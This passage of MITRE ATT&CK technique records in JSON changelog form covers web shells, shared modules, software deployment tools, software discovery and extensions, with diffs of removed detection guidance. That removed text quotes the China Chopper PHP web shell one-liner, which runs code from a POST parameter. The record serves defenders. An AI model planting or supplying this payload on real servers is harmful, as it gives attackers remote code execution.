"description": "Microsoft. (2016, June 1). Transport agents. Retrieved June 24, 2019.",
"url": "https://docs.microsoft.com/en-us/exchange/transport-agents-exchange-2013-help"
},
{
"source_name": "ESET LightNeuron May 2019",
"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.",
"url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"ESET",
"Christoffer Str\u00f6mblad"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.001000+00:00\", \"old_value\": \"2025-04-25 14:46:19.364000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1026: Privileged Account Management",
"M1045: Code Signing",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0166: Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux)"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-12-13 16:46:18.927000+00:00",
"modified": "2025-10-24 17:48:50.387000+00:00",
"name": "Web Shell",
"description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1505/003",
"external_id": "T1505.003"
},
{
"source_name": "NSA Cyber Mitigating Web Shells",
"description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.",
"url": "https://github.com/nsacyber/Mitigating-Web-Shells"
},
{
"source_name": "volexity_0day_sophos_FW",
"description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
"url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
},
{
"source_name": "Lee 2013",
"description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
"url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
},
{
"source_name": "US-CERT Alert TA15-314A Web Shells",
"description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
"url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Arnim Rupp, Deutsche Lufthansa AG"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Application Log: Application Log Content\", \"Process: Process Creation\", \"File: File Creation\", \"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.387000+00:00\", \"old_value\": \"2025-04-15 19:58:34.688000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \\n\\n<?php @eval($_POST['password']);>\\n\\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\\n\\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\\n\\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +0,0 @@\\n-Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \\n-\\n-<?php @eval($_POST['password']);>\\n-\\n-Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\\n-\\n-File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\\n-\\n-Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1042: Disable or Remove Feature or Program"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0029: Network Traffic (Network Traffic Content)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0394: Web Shell Detection via Server Behavior and File Execution Chains"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:31:40.542000+00:00",
"modified": "2025-10-24 17:48:22.302000+00:00",
"name": "Shared Modules",
"description": "Adversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1129",
"external_id": "T1129"
},
{
"source_name": "RotaJakiro 2021 netlab360 analysis",
"description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.",
"url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"
},
{
"source_name": "Apple Dev Dynamic Libraries",
"description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.",
"url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
},
{
"source_name": "Unit42 OceanLotus 2017",
"description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.",
"url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"
},
{
"source_name": "Microsoft DLL",
"description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.",
"url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"
},
{
"source_name": "Linux Shared Libraries",
"description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.",
"url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "2.3",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.302000+00:00\", \"old_value\": \"2025-04-15 19:58:04.668000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \\n\\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \\n-\\n-Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\"}}}",
"previous_version": "2.3",
"changelog_mitigations": {
"shared": [
"M1038: Execution Prevention"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0011: Module (Module Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0018: Behavior-chain, platform-aware detection strategy for T1129 Shared Modules"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2017-05-31 21:30:57.201000+00:00",
"modified": "2025-10-24 17:49:06.595000+00:00",
"name": "Software Deployment Tools",
"description": "Adversaries may gain access to and use centralized software suites installed within an enterprise to execute commands and move laterally through the network. Configuration management and software deployment applications may be used in an enterprise network or cloud environment for routine administration purposes. These systems may also be integrated into CI/CD pipelines. Examples of such solutions include: SCCM, HBSS, Altiris, AWS Systems Manager, Microsoft Intune, Azure Arc, and GCP Deployment Manager. \n\nAccess to network-wide or enterprise-wide endpoint management software may enable an adversary to achieve remote code execution on all connected systems. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nSaaS-based configuration management services may allow for broad [Cloud Administration Command](https://attack.mitre.org/techniques/T1651) on cloud-hosted instances, as well as the execution of arbitrary commands on on-premises endpoints. For example, Microsoft Configuration Manager allows Global or Intune Administrators to run scripts as SYSTEM on on-premises devices joined to Entra ID.(Citation: SpecterOps Lateral Movement from Azure to On-Prem AD 2020) Such services may also utilize [Web Protocols](https://attack.mitre.org/techniques/T1071/001) to communicate back to adversary owned infrastructure.(Citation: Mitiga Security Advisory: SSM Agent as Remote Access Trojan)\n\nNetwork infrastructure devices may also have configuration management tools that can be similarly abused by adversaries.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to access specific functionality.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1072",
"external_id": "T1072"
},
{
"source_name": "Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation",
"description": "ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.",
"url": "https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"
},
{
"source_name": "SpecterOps Lateral Movement from Azure to On-Prem AD 2020",
"description": "Andy Robbins. (2020, August 17). Death from Above: Lateral Movement from Azure to On-Prem AD. Retrieved March 13, 2023.",
"url": "https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d"
},
{
"source_name": "Mitiga Security Advisory: SSM Agent as Remote Access Trojan",
"description": "Ariel Szarf, Or Aspir. (n.d.). Mitiga Security Advisory: Abusing the SSM Agent as a Remote Access Trojan. Retrieved January 31, 2024.",
"url": "https://www.mitiga.io/blog/mitiga-security-advisory-abusing-the-ssm-agent-as-a-remote-access-trojan"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Shane Tully, @securitygypsy",
"Joe Gumke, U.S. Bank",
"Tamir Yehuda"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Network Devices",
"SaaS",
"Windows"
],
"x_mitre_remote_support": false,
"x_mitre_version": "3.2",
"detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Application Log: Application Log Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.595000+00:00\", \"old_value\": \"2025-04-15 19:58:51.465000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection methods will vary depending on the type of third-party software or system and how it is typically used. \\n\\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \\n\\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\\n\\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Detection methods will vary depending on the type of third-party software or system and how it is typically used. \\n-\\n-The same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \\n-\\n-Often these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\\n-\\n-Perform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\"}}}",
"previous_version": "3.2",
"changelog_mitigations": {
"shared": [
"M1015: Active Directory Configuration",
"M1017: User Training",
"M1018: User Account Management",
"M1026: Privileged Account Management",
"M1027: Password Policies",
"M1029: Remote Data Storage",
"M1030: Network Segmentation",
"M1032: Multi-factor Authentication",
"M1033: Limit Software Installation",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0015: Application Log (Application Log Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0223: Detection of Adversary Abuse of Software Deployment Tools"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2019-09-16 17:52:44.147000+00:00",
"modified": "2025-10-24 17:49:31.671000+00:00",
"name": "Software Discovery",
"description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nSuch software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1518",
"external_id": "T1518"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"IaaS",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"Process: Process Creation\", \"Firewall: Firewall Enumeration\", \"Firewall: Firewall Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:31.671000+00:00\", \"old_value\": \"2025-04-15 19:59:16.123000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0018: Firewall (Firewall Enumeration)",
"DS0018: Firewall (Firewall Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0392: Multi-Platform Software Discovery Behavior Chain"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 21:16:18.066000+00:00",
"modified": "2025-10-24 17:49:23.401000+00:00",
"name": "Security Software Discovery",
"description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), reg query with [Reg](https://attack.mitre.org/software/S0075), dir with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.\n\nAdversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1518/001",
"external_id": "T1518.001"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Isif Ibrahima, Mandiant"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Firewall: Firewall Metadata\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Firewall: Firewall Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:23.401000+00:00\", \"old_value\": \"2025-04-15 23:05:09.449000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nIn cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment.\"}}}",
"previous_version": "1.5",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0018: Firewall (Firewall Enumeration)",
"DS0018: Firewall (Firewall Metadata)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0016: Security Software Discovery Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-01-16 16:13:52.465000+00:00",
"modified": "2025-10-24 17:48:39.525000+00:00",
"name": "Software Extensions",
"description": "Adversaries may abuse software extensions to establish persistent access to victim systems. Software extensions are modular components that enhance or customize the functionality of software applications, including web browsers, Integrated Development Environments (IDEs), and other platforms.(Citation: Chrome Extension C2 Malware)(Citation: Abramovsky VSCode Security) Extensions are typically installed via official marketplaces, app stores, or manually loaded by users, and they often inherit the permissions and access levels of the host application. \n\n \nMalicious extensions can be introduced through various methods, including social engineering, compromised marketplaces, or direct installation by users or by adversaries who have already gained access to a system. Malicious extensions can be named similarly or identically to benign extensions in marketplaces. Security mechanisms in extension marketplaces may be insufficient to detect malicious components, allowing adversaries to bypass automated scanners or exploit trust established during the installation process. Adversaries may also abuse benign extensions to achieve their objectives, such as using legitimate functionality to tunnel data or bypass security controls. \n\nThe modular nature of extensions and their integration with host applications make them an attractive target for adversaries seeking to exploit trusted software ecosystems. Detection can be challenging due to the inherent trust placed in extensions during installation and their ability to blend into normal application workflows. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1176",
"external_id": "T1176"
},
{
"source_name": "Abramovsky VSCode Security",
"description": "Abramovsky, O. (2023, May 16). VSCode Security: Malicious Extensions Detected- More Than 45,000 Downloads- PII Exposed, and Backdoors Enabled. Retrieved March 30, 2025.",
"url": "https://blog.checkpoint.com/securing-the-cloud/malicious-vscode-extensions-with-more-than-45k-downloads-steal-pii-and-enable-backdoors/"
},
{
"source_name": "xorrior chrome extensions macOS",
"description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
"url": "https://www.xorrior.com/No-Place-Like-Chrome/"
},
{
"source_name": "Chrome Extension C2 Malware",
"description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
"url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Chris Ross @xorrior",
"Justin Warner, ICEBRG",
"Manikantan Srinivasan, NEC Corporation India"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.0",
